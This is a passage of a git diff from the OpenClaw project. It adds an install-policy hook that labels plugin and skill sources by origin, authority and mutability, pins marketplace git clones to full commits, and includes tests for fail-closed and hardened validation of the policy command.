@@ -2582,6 +2729,7 @@ export async function installPluginFromNpmSpec(
installPolicyRequest: {
kind: "plugin-npm",
requestedSpecifier: spec,
source: { kind: "npm", authority: "third-party", mutable: false, network: true },
},
extensionsDir: params.extensionsDir,
npmDir: params.npmDir,
@@ -2589,6 +2737,7 @@ export async function installPluginFromNpmSpec(
logger,
mode,
dryRun,
skipPolicyPreflight: true,
expectedPluginId,
npmResolution,
...(driftResult.integrityDrift ? { integrityDrift: driftResult.integrityDrift } : {}),
@@ -2645,6 +2794,7 @@ export async function installPluginFromNpmPackArchive(
const result = await installPluginFromManagedNpmRoot({
dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall,
trustedSourceLinkedOfficialInstall: params.trustedSourceLinkedOfficialInstall,
config: params.config,
packageName,
prepareDependencySpec: async ({ npmRoot }) => {
try {
@@ -2671,7 +2821,10 @@ export async function installPluginFromNpmPackArchive(
installPolicyRequest: {
kind: "plugin-npm",
requestedSpecifier: `npm-pack:${metadataResult.archivePath}`,
source: { kind: "archive", authority: "user", mutable: true, network: false },
},
policyPreflightSourcePath: metadataResult.archivePath,
policyPreflightSourcePathKind: "file",
extensionsDir: params.extensionsDir,
npmDir: npmBaseDir,
timeoutMs,
@@ -2705,10 +2858,7 @@ export async function installPluginFromPath(
return await installPluginFromDir({
dirPath: resolved,
...packageInstallOptions,
installPolicyRequest: {
kind: "plugin-dir",
requestedSpecifier: params.path,
},
installPolicyRequest: installPolicyRequestForPath(params, "plugin-dir"),
});
}
@@ -2717,21 +2867,14 @@ export async function installPluginFromPath(
return await installPluginFromArchive({
archivePath: resolved,
...packageInstallOptions,
installPolicyRequest: {
kind: "plugin-archive",
requestedSpecifier: params.path,
},
installPolicyRequest: installPolicyRequestForPath(params, "plugin-archive"),
});
}
return await installPluginFromFile({
filePath: resolved,
...pickFileInstallCommonParams({
...params,
installPolicyRequest: {
kind: "plugin-file",
requestedSpecifier: params.path,
},
}),
});
return {
ok: false,
code: PLUGIN_INSTALL_ERROR_CODE.UNSUPPORTED_PLAIN_FILE_PLUGIN,
error:
"Plain file plugin installs are not supported. Install a plugin directory or archive that contains openclaw.plugin.json, or list standalone plugin files in plugins.load.paths.",
};
}
+112
View File
@@ -318,6 +318,16 @@ describe("marketplace plugins", () => {
pluginDir,
marketplaceSource: path.join(rootDir, ".claude-plugin", "marketplace.json"),
});
expect(installPluginInput().installPolicyRequest).toMatchObject({
kind: "plugin-dir",
requestedSpecifier: `frontend-design@${manifestPath}`,
source: {
kind: "local-path",
authority: "user",
mutable: true,
network: false,
},
});
});
});
@@ -356,6 +366,16 @@ describe("marketplace plugins", () => {
pluginDir,
marketplaceSource: manifestPath,
});
expect(installPluginInput().installPolicyRequest).toMatchObject({
kind: "plugin-dir",
requestedSpecifier: `frontend-design@${manifestPath}`,
source: {
kind: "local-path",
authority: "user",
mutable: true,
network: false,
},
});
if (canonicalPluginDir !== pluginDir) {
expect(
installPluginFromPathMock.mock.calls.some(
@@ -458,6 +478,16 @@ describe("marketplace plugins", () => {
});
expectRemoteMarketplaceInstallResult(result);
expect(installPluginInput().installPolicyRequest).toMatchObject({
kind: "plugin-git",
requestedSpecifier: "frontend-design@owner/repo",
source: {
kind: "git",
authority: "third-party",
mutable: true,
network: true,
},
});
});
it("preserves remote marketplace file path sources inside the cloned repo", async () => {
@@ -493,6 +523,78 @@ describe("marketplace plugins", () => {
marketplacePlugin: "frontend-design",
marketplaceSource: "owner/repo",
});
expect(installPluginInput().installPolicyRequest).toMatchObject({
kind: "plugin-archive",
requestedSpecifier: "frontend-design@owner/repo",
source: {
kind: "archive",
authority: "third-party",
mutable: true,
network: true,
},
});
});
it("reports full commit remote marketplace archives as immutable to install policy", async () => {
const commit = "0123456789abcdef0123456789abcdef01234567";
mockRemoteMarketplaceClone({
pluginFile: path.join("plugins", "frontend-design.tgz"),
manifest: {
plugins: [
{
name: "frontend-design",
source: "./plugins/frontend-design.tgz",
},
],
},
});
runCommandWithTimeoutMock.mockResolvedValueOnce({
code: 0,
stdout: "",
stderr: "",
killed: false,
});
installPluginFromPathMock.mockResolvedValue({
ok: true,
pluginId: "frontend-design",
targetDir: "/tmp/frontend-design",
version: "0.1.0",
extensions: ["index.ts"],
});
const result = await installPluginFromMarketplace({
marketplace: `owner/repo#${commit}`,
plugin: "frontend-design",
});
expectMarketplaceInstallSuccess(result, {
marketplacePlugin: "frontend-design",
marketplaceSource: `owner/repo#${commit}`,
});
expect(runCommandWithTimeoutMock).toHaveBeenCalledTimes(2);
expect(runCommandWithTimeoutMock.mock.calls[0]?.[0]).toEqual([
"git",
"clone",
"https://github.com/owner/repo.git",
expect.any(String),
]);
expect(runCommandWithTimeoutMock.mock.calls[1]?.[0]).toEqual([
"git",
"switch",
"--detach",
"--",
commit,
]);
expect(installPluginInput().installPolicyRequest).toMatchObject({
kind: "plugin-archive",
requestedSpecifier: `frontend-design@owner/repo#${commit}`,
source: {
kind: "archive",
authority: "third-party",
mutable: false,
network: true,
},
});
});
it("lists remote marketplace file path sources inside the cloned repo", async () => {
@@ -727,6 +829,16 @@ describe("marketplace plugins", () => {
});
expectFetchDownloadCall();
expect(String(installPluginInput().path)).toMatch(/[\\/]frontend-design\.tgz$/);
expect(installPluginInput().installPolicyRequest).toMatchObject({
kind: "plugin-archive",
requestedSpecifier: `frontend-design@${manifestPath}`,
source: {
kind: "archive",
authority: "third-party",
mutable: true,
network: true,
},
});
expect(release).toHaveBeenCalledTimes(1);
});
});
+142 -3
View File
@@ -12,7 +12,9 @@ import { tryReadJson } from "../infra/json-files.js";
import { fetchWithSsrFGuard } from "../infra/net/fetch-guard.js";
import { isPathInside } from "../infra/path-guards.js";
import { runCommandWithTimeout } from "../process/exec.js";
import type { InstallPolicySource } from "../security/install-policy.js";
import { resolveUserPath } from "../utils.js";
import { isImmutableGitCommitRef } from "./git-install.js";
import type { InstallSafetyOverrides } from "./install-security-scan.js";
import { installPluginFromPath, type InstallPluginResult } from "./install.js";
@@ -60,6 +62,7 @@ type LoadedMarketplace = {
rootDir: string;
sourceLabel: string;
origin: MarketplaceManifestOrigin;
remoteRef?: string;
cleanup?: () => Promise<void>;
};
@@ -255,6 +258,102 @@ function marketplaceEntrySourceToInput(source: MarketplaceEntrySource): string {
throw new Error("Unsupported marketplace entry source");
}
function marketplaceEntryGitRef(source: MarketplaceEntrySource): string | undefined {
switch (source.kind) {
case "github":
case "git":
case "git-subdir":
return source.ref;
case "url":
return resolveArchiveKind(source.url) ? undefined : normalizeGitCloneSource(source.url)?.ref;
case "path":
return undefined;
}
throw new Error("Unsupported marketplace entry source");
}
function isMutableGitDerivedSource(ref: string | undefined): boolean {
return !isImmutableGitCommitRef(ref);
}
function marketplaceInstallPolicySource(params: {
marketplaceOrigin: MarketplaceManifestOrigin;
marketplaceRef?: string;
resolvedPath: string;
source: MarketplaceEntrySource;
}): InstallPolicySource {
const marketplaceMutable = isMutableGitDerivedSource(params.marketplaceRef);
const entryMutable = isMutableGitDerivedSource(marketplaceEntryGitRef(params.source));
if (resolveArchiveKind(params.resolvedPath)) {
if (
params.marketplaceOrigin === "remote" &&
params.source.kind === "path" &&
!isHttpUrl(params.source.path)
) {
return {
kind: "archive",
authority: "third-party",
mutable: marketplaceMutable,
network: true,
};
}
if (params.source.kind === "path" && !isHttpUrl(params.source.path)) {
return { kind: "archive", authority: "user", mutable: true, network: false };
}
return { kind: "archive", authority: "third-party", mutable: entryMutable, network: true };
}
if (
params.marketplaceOrigin === "remote" &&
params.source.kind === "path" &&
!isHttpUrl(params.source.path)
) {
return { kind: "git", authority: "third-party", mutable: marketplaceMutable, network: true };
}
if (params.source.kind === "path") {
if (isHttpUrl(params.source.path)) {
return { kind: "archive", authority: "third-party", mutable: true, network: true };
}
return { kind: "local-path", authority: "user", mutable: true, network: false };
}
if (params.source.kind === "url") {
return {
kind: resolveArchiveKind(params.source.url) ? "archive" : "git",
authority: "third-party",
mutable: entryMutable,
network: true,
};
}
return { kind: "git", authority: "third-party", mutable: entryMutable, network: true };
}
function marketplaceInstallPolicyRequestKind(params: {
marketplaceOrigin: MarketplaceManifestOrigin;
resolvedPath: string;
source: MarketplaceEntrySource;
}): "plugin-archive" | "plugin-dir" | "plugin-git" {
if (resolveArchiveKind(params.resolvedPath)) {
return "plugin-archive";
}
if (params.marketplaceOrigin === "remote") {
return "plugin-git";
}
if (
params.source.kind === "github" ||
params.source.kind === "git" ||
params.source.kind === "git-subdir"
) {
return "plugin-git";
}
if (params.source.kind === "url" && !resolveArchiveKind(params.source.url)) {
return "plugin-git";
}
return "plugin-dir";
}
function parseMarketplaceManifest(
raw: string,
sourceLabel: string,
@@ -426,7 +525,7 @@ async function cloneMarketplaceRepo(params: {
timeoutMs?: number;
logger?: MarketplaceLogger;
}): Promise<
| { ok: true; rootDir: string; cleanup: () => Promise<void>; label: string }
| { ok: true; rootDir: string; cleanup: () => Promise<void>; label: string; ref?: string }
| { ok: false; error: string }
> {
const normalized = normalizeGitCloneSource(params.source);
@@ -436,8 +535,12 @@ async function cloneMarketplaceRepo(params: {
const tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-marketplace-"));
const repoDir = path.join(tmpDir, "repo");
const argv = ["git", "clone", "--depth", "1"];
if (normalized.ref) {
const refIsCommit = isImmutableGitCommitRef(normalized.ref);
const argv = ["git", "clone"];
if (!normalized.ref) {
argv.push("--depth", "1");
} else if (!refIsCommit) {
argv.push("--depth", "1");
argv.push("--branch", normalized.ref);
}
argv.push(normalized.url, repoDir);
@@ -453,11 +556,29 @@ async function cloneMarketplaceRepo(params: {
error: `failed to clone marketplace source ${normalized.label}: ${detail}`,
};
}
if (refIsCommit) {
const checkout = await runCommandWithTimeout(
["git", "switch", "--detach", "--", normalized.ref as string],
{
cwd: repoDir,
timeoutMs: params.timeoutMs ?? DEFAULT_GIT_TIMEOUT_MS,
},
);
if (checkout.code !== 0) {
await fs.rm(tmpDir, { recursive: true, force: true }).catch(() => undefined);
const detail = checkout.stderr.trim() || checkout.stdout.trim() || "git checkout failed";
return {
ok: false,
error: `failed to checkout marketplace source ${normalized.label}: ${detail}`,
};
}
}
return {
ok: true,
rootDir: repoDir,
label: normalized.label,
...(normalized.ref ? { ref: normalized.ref } : {}),
cleanup: async () => {
await fs.rm(tmpDir, { recursive: true, force: true }).catch(() => undefined);
},
@@ -474,6 +595,7 @@ async function loadMarketplace(params: {
sourceLabel: string;
rootDir: string;
origin: MarketplaceManifestOrigin;
remoteRef?: string;
cleanup?: () => Promise<void>;
}): Promise<{ ok: true; marketplace: LoadedMarketplace } | { ok: false; error: string }> => {
const raw = await fs.readFile(paramsLocal.manifestPath, "utf-8");
@@ -499,6 +621,7 @@ async function loadMarketplace(params: {
rootDir: paramsLocal.rootDir,
sourceLabel: paramsLocal.sourceLabel,
origin: paramsLocal.origin,
...(paramsLocal.remoteRef ? { remoteRef: paramsLocal.remoteRef } : {}),
cleanup: paramsLocal.cleanup,
},
};
@@ -576,6 +699,7 @@ async function loadMarketplace(params: {
sourceLabel: cloned.label,
rootDir: cloned.rootDir,
origin: "remote",
...(cloned.ref ? { remoteRef: cloned.ref } : {}),
cleanup: cloned.cleanup,
});
}
@@ -1152,6 +1276,7 @@ export async function installPluginFromMarketplace(
const result = await installPluginFromPath({
dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall,
config: params.config,
path: resolved.path,
logger: params.logger,
mode: params.mode,
@@ -1159,6 +1284,20 @@ export async function installPluginFromMarketplace(
timeoutMs: params.timeoutMs,
dryRun: params.dryRun,
expectedPluginId: params.expectedPluginId,
installPolicyRequest: {
kind: marketplaceInstallPolicyRequestKind({
marketplaceOrigin: loaded.marketplace.origin,
resolvedPath: resolved.path,
source: entry.source,
}),
requestedSpecifier: `${entry.name}@${params.marketplace}`,
source: marketplaceInstallPolicySource({
marketplaceOrigin: loaded.marketplace.origin,
marketplaceRef: loaded.marketplace.remoteRef,
resolvedPath: resolved.path,
source: entry.source,
}),
},
});
if (!result.ok) {
return result;
+16
View File
@@ -1256,6 +1256,7 @@ export async function updateNpmInstalledPlugins(params: {
record.source === "npm"
? await installPluginFromNpmSpec({
spec: effectiveSpec!,
config: params.config,
mode: "update",
extensionsDir,
timeoutMs: params.timeoutMs,
@@ -1275,6 +1276,7 @@ export async function updateNpmInstalledPlugins(params: {
: record.source === "clawhub"
? await installPluginFromClawHub({
spec: effectiveSpec ?? `clawhub:${record.clawhubPackage!}`,
config: params.config,
baseUrl: record.clawhubUrl,
mode: "update",
extensionsDir,
@@ -1287,6 +1289,7 @@ export async function updateNpmInstalledPlugins(params: {
: record.source === "git"
? await installPluginFromGitSpec({
spec: effectiveSpec!,
config: params.config,
mode: "update",
extensionsDir,
timeoutMs: params.timeoutMs,
@@ -1298,6 +1301,7 @@ export async function updateNpmInstalledPlugins(params: {
: await installPluginFromMarketplace({
marketplace: record.marketplaceSource!,
plugin: record.marketplacePlugin!,
config: params.config,
mode: "update",
extensionsDir,
timeoutMs: params.timeoutMs,
@@ -1330,6 +1334,7 @@ export async function updateNpmInstalledPlugins(params: {
});
probe = await installPluginFromNpmSpec({
spec: npmSpecs.fallbackSpec,
config: params.config,
mode: "update",
extensionsDir,
timeoutMs: params.timeoutMs,
@@ -1363,6 +1368,7 @@ export async function updateNpmInstalledPlugins(params: {
);
probe = await installPluginFromClawHub({
spec: clawhubSpecs.fallbackSpec,
config: params.config,
baseUrl: record.clawhubUrl,
mode: "update",
extensionsDir,
@@ -1394,6 +1400,7 @@ export async function updateNpmInstalledPlugins(params: {
usedOfficialNpmFallback = true;
probe = await installPluginFromNpmSpec({
spec: officialNpmFallbackInstallSpec,
config: params.config,
mode: "update",
extensionsDir,
timeoutMs: params.timeoutMs,
@@ -1501,6 +1508,7 @@ export async function updateNpmInstalledPlugins(params: {
record.source === "npm"
? await installNpmSpecForUpdate({
spec: effectiveSpec!,
config: params.config,
mode: "update",
extensionsDir,
timeoutMs: params.timeoutMs,
@@ -1519,6 +1527,7 @@ export async function updateNpmInstalledPlugins(params: {
: record.source === "clawhub"
? await installPluginFromClawHub({
spec: effectiveSpec ?? `clawhub:${record.clawhubPackage!}`,
config: params.config,
baseUrl: record.clawhubUrl,
mode: "update",
extensionsDir,
@@ -1530,6 +1539,7 @@ export async function updateNpmInstalledPlugins(params: {
: record.source === "git"
? await installPluginFromGitSpec({
spec: effectiveSpec!,
config: params.config,
mode: "update",
extensionsDir,
timeoutMs: params.timeoutMs,
@@ -1540,6 +1550,7 @@ export async function updateNpmInstalledPlugins(params: {
: await installPluginFromMarketplace({
marketplace: record.marketplaceSource!,
plugin: record.marketplacePlugin!,
config: params.config,
mode: "update",
extensionsDir,
timeoutMs: params.timeoutMs,
@@ -1605,6 +1616,7 @@ export async function updateNpmInstalledPlugins(params: {
);
result = await installPluginFromClawHub({
spec: clawhubSpecs.fallbackSpec,
config: params.config,
baseUrl: record.clawhubUrl,
mode: "update",
extensionsDir,
@@ -1637,6 +1649,7 @@ export async function updateNpmInstalledPlugins(params: {
channelFallbackSuffix = ` (warning: official ClawHub artifact fallback used ${officialNpmFallbackInstallSpec}).`;
result = await installNpmSpecForUpdate({
spec: officialNpmFallbackInstallSpec,
config: params.config,
mode: "update",
extensionsDir,
timeoutMs: params.timeoutMs,
@@ -1921,6 +1934,7 @@ export async function syncPluginsForUpdateChannel(params: {
if (preferredSource === "clawhub") {
result = await installPluginFromClawHub({
spec: clawhubSpec,
config: params.config,
...(bridge.clawhubUrl ? { baseUrl: bridge.clawhubUrl } : {}),
mode: "update",
expectedPluginId: targetPluginId,
@@ -1934,6 +1948,7 @@ export async function syncPluginsForUpdateChannel(params: {
installSpec = npmSpec;
result = await installPluginFromNpmSpec({
spec: npmSpec,
config: params.config,
mode: "update",
expectedPluginId: targetPluginId,
trustedSourceLinkedOfficialInstall,
@@ -1943,6 +1958,7 @@ export async function syncPluginsForUpdateChannel(params: {
} else {
result = await installPluginFromNpmSpec({
spec: npmSpec,
config: params.config,
mode: "update",
expectedPluginId: targetPluginId,
trustedSourceLinkedOfficialInstall,
+614
View File
@@ -0,0 +1,614 @@
import fs from "node:fs/promises";
import os from "node:os";
import path from "node:path";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
import type { OpenClawConfig } from "../config/types.openclaw.js";
import {
runInstallPolicy,
validateInstallPolicyStatic,
type InstallPolicyRequest,
} from "./install-policy.js";
const tempDirs: string[] = [];
async function makeTempDir(): Promise<string> {
const dir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-install-policy-"));
tempDirs.push(dir);
return dir;
}
async function writePolicyScript(dir: string): Promise<string> {
const scriptPath = path.join(dir, "policy.cjs");
await fs.writeFile(
scriptPath,
`
const fs = require("node:fs");
let input = "";
process.stdin.setEncoding("utf8");
process.stdin.on("data", (chunk) => {
input += chunk;
});
process.stdin.on("end", () => {
if (process.env.OUT_FILE) {
fs.writeFileSync(process.env.OUT_FILE, input);
}
if (process.env.CWD_FILE) {
fs.writeFileSync(process.env.CWD_FILE, process.cwd());
}
if (process.env.ENV_FILE) {
fs.writeFileSync(process.env.ENV_FILE, JSON.stringify({
PATH: process.env.PATH,
Path: process.env.Path,
}));
}
if (process.env.STDERR_TEXT) {
process.stderr.write(process.env.STDERR_TEXT);
}
if (process.env.EXIT_CODE) {
process.exit(Number(process.env.EXIT_CODE));
}
process.stdout.write(process.env.POLICY_RESPONSE || "");
});
`,
"utf8",
);
await fs.chmod(scriptPath, 0o700);
return scriptPath;
}
async function writeEnvNodePolicyScript(dir: string): Promise<string> {
const envNodeScriptPath = path.join(dir, "env-node-policy");
await fs.writeFile(
envNodeScriptPath,
`#!/usr/bin/env node
process.stdout.write(process.env.POLICY_RESPONSE || "");
`,
"utf8",
);
await fs.chmod(envNodeScriptPath, 0o700);
return envNodeScriptPath;
}
function baseRequest(sourcePath: string): InstallPolicyRequest {
return {
targetType: "skill",
targetName: "weather",
sourcePath,
sourcePathKind: "directory",
source: { kind: "clawhub", authority: "openclaw", mutable: false, network: true },
origin: { type: "clawhub", slug: "weather", version: "1.0.0" },
request: {
kind: "skill-install",
mode: "install",
requestedSpecifier: "clawhub:weather@1.0.0",
},
skill: {
installId: "clawhub",
},
};
}
function configWithPolicy(scriptPath: string, env: Record<string, string>): OpenClawConfig {
return {
security: {
installPolicy: {
enabled: true,
exec: {
source: "exec",
command: process.execPath,
args: [scriptPath],
env,
allowInsecurePath: true,
timeoutMs: 5000,
maxOutputBytes: 16 * 1024,
},
},
},
};
}
describe("runInstallPolicy", () => {
let sourceDir: string;
let scriptPath: string;
beforeEach(async () => {
sourceDir = await makeTempDir();
scriptPath = await writePolicyScript(sourceDir);
});
afterEach(async () => {
await Promise.all(
tempDirs.splice(0).map((dir) => fs.rm(dir, { recursive: true, force: true })),
);
});
it("does nothing when install policy is disabled", async () => {
await expect(runInstallPolicy({ config: {}, request: baseRequest(sourceDir) })).resolves.toBe(
undefined,
);
});
it("does nothing when install policy is present but not enabled", async () => {
await expect(
runInstallPolicy({
config: {
security: {
installPolicy: {},
},
},
request: baseRequest(sourceDir),
}),
).resolves.toBe(undefined);
});
it("executes policy for skills when targets are omitted", async () => {
const capturePath = path.join(sourceDir, "request.json");
const cwdPath = path.join(sourceDir, "cwd.txt");
const response = JSON.stringify({ protocolVersion: 1, decision: "allow" });
const result = await runInstallPolicy({
config: configWithPolicy(scriptPath, {
CWD_FILE: cwdPath,
OUT_FILE: capturePath,
POLICY_RESPONSE: response,
}),
request: baseRequest(sourceDir),
});
expect(result).toEqual({});
const captured = JSON.parse(await fs.readFile(capturePath, "utf8")) as Record<string, unknown>;
expect(captured.protocolVersion).toBe(1);
expect(captured.openclawVersion).toEqual(expect.any(String));
expect(captured.targetType).toBe("skill");
expect(captured.sourcePath).toBe(sourceDir);
expect(captured.source).toEqual({
kind: "clawhub",
authority: "openclaw",
mutable: false,
network: true,
});
await expect(fs.readFile(cwdPath, "utf8")).resolves.toBe(path.dirname(process.execPath));
expect(captured.request).toMatchObject({
kind: "skill-install",
mode: "install",
requestedSpecifier: "clawhub:weather@1.0.0",
});
expect(captured.origin).toMatchObject({ type: "clawhub", slug: "weather" });
});
it("preserves PATH so env shebang policy scripts can start", async () => {
if (process.platform === "win32") {
return;
}
const envNodeScriptPath = await writeEnvNodePolicyScript(sourceDir);
const response = JSON.stringify({ protocolVersion: 1, decision: "allow" });
const result = await runInstallPolicy({
config: {
security: {
installPolicy: {
enabled: true,
exec: {
source: "exec",
command: envNodeScriptPath,
env: {
POLICY_RESPONSE: response,
},
passEnv: ["PATH"],
allowInsecurePath: true,
},
},
},
},
env: {
PATH: path.dirname(process.execPath),
},
request: baseRequest(sourceDir),
});
expect(result).toEqual({});
});
it("does not inherit PATH unless passEnv includes it", async () => {
const envPath = path.join(sourceDir, "env.json");
const response = JSON.stringify({ protocolVersion: 1, decision: "allow" });
const result = await runInstallPolicy({
config: configWithPolicy(scriptPath, {
ENV_FILE: envPath,
POLICY_RESPONSE: response,
}),
env: {
PATH: "/tmp/untrusted-path",
},
request: baseRequest(sourceDir),
});
expect(result).toEqual({});
const captured = JSON.parse(await fs.readFile(envPath, "utf8")) as {
PATH?: string;
Path?: string;
};
expect(captured.PATH).toBeUndefined();
expect(captured.Path).toBeUndefined();
});
it("skips skill requests when targets only include plugins", async () => {
const config: OpenClawConfig = {
security: {
installPolicy: {
enabled: true,
targets: ["plugin"],
exec: {
source: "exec",
command: process.execPath,
args: [scriptPath],
env: {
EXIT_CODE: "1",
},
allowInsecurePath: true,
},
},
},
};
await expect(runInstallPolicy({ config, request: baseRequest(sourceDir) })).resolves.toBe(
undefined,
);
});
it("prefixes operator blocks", async () => {
const warnings: string[] = [];
const result = await runInstallPolicy({
config: configWithPolicy(scriptPath, {
POLICY_RESPONSE: JSON.stringify({
protocolVersion: 1,
decision: "block",
reason: "unapproved registry",
}),
}),
logger: { warn: (message) => warnings.push(message) },
request: baseRequest(sourceDir),
});
expect(result?.blocked).toEqual({
code: "security_scan_blocked",
reason: "blocked by install policy: unapproved registry",
});
expect(warnings.join("\n")).toContain("target=skill:weather");
expect(warnings.join("\n")).toContain("source=clawhub/openclaw");
expect(warnings.join("\n")).toContain("blocked by install policy");
});
it("preserves allow findings without file or line", async () => {
const result = await runInstallPolicy({
config: configWithPolicy(scriptPath, {
POLICY_RESPONSE: JSON.stringify({
protocolVersion: 1,
decision: "allow",
findings: [
{
ruleId: "registry-review",
severity: "warn",
message: "Registry requires review.",
},
],
}),
}),
request: baseRequest(sourceDir),
});
expect(result).toEqual({
findings: [
{
ruleId: "registry-review",
severity: "warn",
message: "Registry requires review.",
},
],
});
});
it("preserves block findings without file or line", async () => {
const result = await runInstallPolicy({
config: configWithPolicy(scriptPath, {
POLICY_RESPONSE: JSON.stringify({
protocolVersion: 1,
decision: "block",
reason: "unapproved registry",
findings: [
{
ruleId: "registry-review",
severity: "critical",
message: "Registry is not approved.",
},
],
}),
}),
request: baseRequest(sourceDir),
});
expect(result).toEqual({
blocked: {
code: "security_scan_blocked",
reason: "blocked by install policy: unapproved registry",
},
findings: [
{
ruleId: "registry-review",
severity: "critical",
message: "Registry is not approved.",
},
],
});
});
it("fails closed on malformed policy output", async () => {
const warnings: string[] = [];
const result = await runInstallPolicy({
config: configWithPolicy(scriptPath, {
POLICY_RESPONSE: "not json",
}),
logger: { warn: (message) => warnings.push(message) },
request: baseRequest(sourceDir),
});
expect(result?.blocked?.code).toBe("security_scan_failed");
expect(result?.blocked?.reason).toContain("install policy failed closed");
expect(result?.blocked?.reason).toContain("invalid JSON");
expect(warnings.join("\n")).toContain("install policy failed closed");
});
it("does not expose policy command stderr in fail-closed reasons", async () => {
const warnings: string[] = [];
const result = await runInstallPolicy({
config: configWithPolicy(scriptPath, {
EXIT_CODE: "7",
STDERR_TEXT: "policy-secret-token",
}),
logger: { warn: (message) => warnings.push(message) },
request: baseRequest(sourceDir),
});
expect(result?.blocked?.code).toBe("security_scan_failed");
expect(result?.blocked?.reason).toContain("policy command exited with code 7");
expect(result?.blocked?.reason).not.toContain("policy-secret-token");
expect(warnings.join("\n")).not.toContain("policy-secret-token");
});
it("rejects relative policy command paths before resolving cwd", async () => {
const result = await runInstallPolicy({
config: {
security: {
installPolicy: {
enabled: true,
exec: {
source: "exec",
command: "policy.cjs",
args: [],
allowInsecurePath: true,
},
},
},
},
request: baseRequest(sourceDir),
});
expect(result?.blocked?.code).toBe("security_scan_failed");
expect(result?.blocked?.reason).toContain(
"security.installPolicy.exec.command must be an absolute path",
);
});
it.runIf(process.platform !== "win32")(
"rejects Windows-style policy command paths on POSIX",
async () => {
const result = await runInstallPolicy({
config: {
security: {
installPolicy: {
enabled: true,
exec: {
source: "exec",
command: "C:\\tmp\\policy.cjs",
args: [],
allowInsecurePath: true,
},
},
},
},
request: baseRequest(sourceDir),
});
expect(result?.blocked?.code).toBe("security_scan_failed");
expect(result?.blocked?.reason).toContain(
"security.installPolicy.exec.command must be an absolute path",
);
},
);
it("reports static validation issues without running policy command", async () => {
const validation = await validateInstallPolicyStatic({
security: {
installPolicy: {
enabled: true,
exec: {
source: "exec",
command: "policy.cjs",
},
},
},
});
expect(validation).toMatchObject({
enabled: true,
targets: ["skill", "plugin"],
});
expect(validation.issues.map((issue) => issue.message)).toContain(
"security.installPolicy.exec.command must be an absolute path.",
);
});
it("rejects policy commands under writable parent directories", async () => {
if (process.platform === "win32") {
return;
}
const dir = await makeTempDir();
const writableDir = path.join(dir, "writable-parent");
await fs.mkdir(writableDir, { recursive: true });
await fs.chmod(writableDir, 0o777);
const writableScriptPath = await writePolicyScript(writableDir);
const validation = await validateInstallPolicyStatic({
security: {
installPolicy: {
enabled: true,
exec: {
source: "exec",
command: writableScriptPath,
},
},
},
});
expect(validation.issues.map((issue) => issue.message)).toContain(
`security.installPolicy.exec.command parent directory permissions are too open: ${writableDir}`,
);
});
it("rejects policy interpreter script args under writable parent directories", async () => {
if (process.platform === "win32") {
return;
}
const dir = await makeTempDir();
const writableDir = path.join(dir, "writable-parent");
await fs.mkdir(writableDir, { recursive: true });
await fs.chmod(writableDir, 0o777);
const writableScriptPath = await writePolicyScript(writableDir);
const validation = await validateInstallPolicyStatic({
security: {
installPolicy: {
enabled: true,
exec: {
source: "exec",
command: process.execPath,
args: [writableScriptPath],
},
},
},
});
expect(validation.issues.map((issue) => issue.message)).toContain(
`security.installPolicy.exec.args[0] parent directory permissions are too open: ${writableDir}`,
);
});
it("validates later interpreter script args after path-taking options", async () => {
if (process.platform === "win32") {
return;
}
const dir = await makeTempDir();
const writableDir = path.join(dir, "writable-parent");
await fs.mkdir(writableDir, { recursive: true });
await fs.chmod(writableDir, 0o777);
const writableScriptPath = await writePolicyScript(writableDir);
const validation = await validateInstallPolicyStatic({
security: {
installPolicy: {
enabled: true,
exec: {
source: "exec",
command: process.execPath,
args: ["--require", scriptPath, writableScriptPath],
},
},
},
});
expect(validation.issues.map((issue) => issue.message)).toContain(
`security.installPolicy.exec.args[2] parent directory permissions are too open: ${writableDir}`,
);
});
it("validates interpreter option values that embed script paths", async () => {
if (process.platform === "win32") {
return;
}
const dir = await makeTempDir();
const writableDir = path.join(dir, "writable-parent");
await fs.mkdir(writableDir, { recursive: true });
await fs.chmod(writableDir, 0o777);
const writableScriptPath = await writePolicyScript(writableDir);
const validation = await validateInstallPolicyStatic({
security: {
installPolicy: {
enabled: true,
exec: {
source: "exec",
command: process.execPath,
args: [`--require=${writableScriptPath}`, scriptPath],
},
},
},
});
expect(validation.issues.map((issue) => issue.message)).toContain(
`security.installPolicy.exec.args[0] parent directory permissions are too open: ${writableDir}`,
);
});
it.runIf(process.platform !== "win32")(
"rejects symlinked interpreter script args even when command symlinks are allowed",
async () => {
const dir = await makeTempDir();
const realScriptPath = await writePolicyScript(dir);
const symlinkScriptPath = path.join(dir, "policy-link.cjs");
await fs.symlink(realScriptPath, symlinkScriptPath);
const validation = await validateInstallPolicyStatic({
security: {
installPolicy: {
enabled: true,
exec: {
source: "exec",
command: process.execPath,
args: [symlinkScriptPath],
allowSymlinkCommand: true,
},
},
},
});
expect(validation.issues.map((issue) => issue.message)).toContain(
`security.installPolicy.exec.args[0] must not be a symlink: ${symlinkScriptPath}`,
);
},
);
it.runIf(process.platform !== "win32")(
"rejects env policy commands before interpreter resolution can bypass validation",
async () => {
const validation = await validateInstallPolicyStatic({
security: {
installPolicy: {
enabled: true,
exec: {
source: "exec",
command: "/usr/bin/env",
args: ["-S", `node ${scriptPath}`],
allowInsecurePath: true,
},
},
},
});
expect(validation.issues.map((issue) => issue.message)).toContain(
"security.installPolicy.exec.command must not use env; configure the policy executable directly.",
);
},
);
});
+872
View File
@@ -0,0 +1,872 @@
import { spawn } from "node:child_process";
import fs from "node:fs/promises";
import path from "node:path";
import type { OpenClawConfig, SecurityConfig } from "../config/types.openclaw.js";
import { formatErrorMessage } from "../infra/errors.js";
import { normalizePositiveInt, normalizePositiveTimerMs } from "../secrets/shared.js";
import { resolveUserPath } from "../utils.js";
import { resolveRuntimeServiceVersion } from "../version.js";
import { inspectPathPermissions, safeStat } from "./audit-fs.js";
import { isPathInside } from "./scan-paths.js";
const DEFAULT_TIMEOUT_MS = 10_000;
const DEFAULT_MAX_OUTPUT_BYTES = 1024 * 1024;
const DEFAULT_MAX_REQUEST_BYTES = 256 * 1024;
const MAX_REASON_CHARS = 1000;
const MAX_FINDINGS = 100;
const MAX_FINDING_TEXT_CHARS = 1000;
const WINDOWS_ABS_PATH_PATTERN = /^[A-Za-z]:[\\/]/;
const WINDOWS_UNC_PATH_PATTERN = /^\\\\[^\\]+\\[^\\]+/;
const POLICY_INTERPRETER_NAMES = new Set([
"bash",
"bun",
"deno",
